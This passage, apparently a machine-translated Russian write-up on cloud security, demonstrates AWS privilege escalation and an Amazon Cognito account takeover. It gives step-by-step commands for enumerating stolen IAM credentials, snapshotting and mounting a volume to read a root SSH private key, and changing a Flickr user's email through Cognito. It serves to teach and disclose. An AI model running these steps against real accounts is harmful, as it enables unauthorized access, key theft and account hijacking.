- Эта команда проверяет достоверность учетных данных AWS и выводит сведения о пользователе IAM или предполагаемой роли.
- Возвращенная информация включает идентификатор учетной записи AWS, идентификатор пользователя/роли и имя ресурса Amazon (ARN), связанное с предполагаемой ролью.
- Перечисление прикрепленных ролевых политик (несанкционированная попытка):
КОПИРОВАТЬ
aws iam list-attached-role-policies --role-name ServerManager
- Эта команда пытается вывести список прикрепленных политик для указанной роли IAM ( ServerManagerв данном случае).
- Однако у пользователя нет необходимых разрешений для выполнения этой операции, что приводит к ошибке «Доступ запрещен».
- Перечисление разрешений с помощью инструмента Enumerate-IAM:
КОПИРОВАТЬ
./enumerate-iam.py --access-key ACCESS_KEY --secret-key SECRET_KEY --session-token SESSION_TOKEN
- Эта команда инициирует перечисление разрешений с помощью инструмента enumerate-iam, который проводит атаку методом перебора для идентификации доступных команд AWS CLI.
- Инструмент использует предоставленный ключ доступа, секретный ключ и токен сеанса для аутентификации в AWS.
- Выявленные разрешения из перечисления:
КОПИРОВАТЬ
-- dynamodb.describe_endpoints() worked!
-- sts.get_caller_identity() worked!
-- ec2.describe_volumes() worked!
- Результаты процесса перечисления показывают, что предоставленные учетные данные имеют разрешения на выполнение определенных команд AWS CLI.
- В частности, команды dynamodb.describe_endpoints(), sts.get_caller_identity()и ec2.describe_volumes()были успешно выполнены, что указывает на доступ к связанным сервисам AWS и соответствующим действиям.
ec2: CreateSnapshot и ec2: DescribeVolumes
В сфере кибербезопасности повышение привилегий представляет собой критический аспект оценки уязвимостей системы и потенциальных эксплойтов. Вооружившись захваченными учетными данными аутентификации и детальным пониманием назначенных разрешений, таких как ec2:CreateSnapshot и ec2- Список доступных томов:
КОПИРОВАТЬ
aws ec2 describe-volumes
- Эта команда получает информацию о томах, подключенных к экземпляру EC2, включая их идентификаторы томов, состояния, размеры и сведения о прикреплении.
- В выводе содержатся важные данные, необходимые для создания моментального снимка тома.
- Создание снимка:
КОПИРОВАТЬ
aws ec2 create-snapshot --volume-id vol-02ca4df63c5cbb8c5 --description 'Y-Security rocks!'
- Эта команда создает новый снимок указанного тома, идентифицируемого его идентификатором тома.
- Параметр описания предоставляет метку для снимка, помогающую его идентифицировать.
- Выходные данные включают в себя такие сведения, как идентификатор моментального снимка, описание, состояние, время начала и идентификатор владельца.
- Монтирование моментального снимка в новый экземпляр EC2:
КОПИРОВАТЬ
sudo mount /dev/sdb1 /media/
sudo ls /media/root/.ssh
sudo cat /media/root/.ssh/id_rsa
- Эти команды демонстрируют процесс монтирования моментального снимка в качестве второго жесткого диска ( /dev/sdb1) к новому экземпляру EC2 и доступа к его файловой системе.
- Команда lsвыводит содержимое каталога .sshв корневом каталоге смонтированного моментального снимка.
- Команда catизвлекает содержимое файла id_rsa, который обычно содержит закрытый ключ SSH, используемый для аутентификации.
- Получив закрытый ключ SSH, злоумышленник потенциально может повысить привилегии до root или получить доступ к конфиденциальным данным, хранящимся в системе.
Амазон Когнито
Механизм входа в систему, используемый Flickr и управляемый через Amazon Cognito, представляет собой критический момент, на котором возможны злоупотребления и последующее повышение привилегий. Этот сложный процесс, инициированный на сайтеidentity.flickr.com , передает учетные данные конечного пользователя на cognito-idp.us-east-1.amazonaws.com через JavaScript, получая токены, которые впоследствии передаются на www.flickr.com . Используя настраиваемую версию OpenID Connect, Amazon Cognito упрощает аутентификацию пользователей, при этом действительные учетные данные вызывают ответы токена, предоставляющие учетные данные для доступа. Используя полученный access_token, можно тщательно изучить объем допустимых действий в API AWS, начиная с базовых запросов, таких как GetUser. Примечательно, что этот доступ распространяется на изменение атрибутов пользователя, включая основные идентификаторы, такие как адреса электронной почты, что открывает путь для несанкционированного захвата учетной записи. Путем тщательного манипулирования и использования основных механизмов аутентификации злоумышленники могут нарушить протоколы безопасности, создавая серьезные проблемы для целостности системы и конфиденциальности пользователей. Эта демонстрация подчеркивает необходимость надежных протоколов аутентификации и бдительного надзора для предотвращения потенциальных нарушений и защиты пользовательских данных.- Запрос аутентификации корабля
КОПИРОВАТЬ
КОПИРОВАТЬ
POST / HTTP/2
Host: cognito-idp.us-east-1.amazonaws.com
Content-Type: application/json
{
"AuthFlow": "USER_PASSWORD_AUTH",
"ClientId": "3ck15a1ov4f0d3o97vs3tbjb52",
"AuthParameters": {
"USERNAME": "[email protected]",
"PASSWORD": "[REDACTED]",
"DEVICE_KEY": "us-east-1_070[...]"
},
"ClientMetadata": {}
}
- Получить токены
- Использовать токен доступа
- Изменение атрибутов пользователя
КОПИРОВАТЬ
КОПИРОВАТЬ
$ aws cognito-idp update-user-attributes --region us-east-1 --access-token [REDACTED] --user-attributes Name=email,Value=[email protected]
- Полный захват аккаунта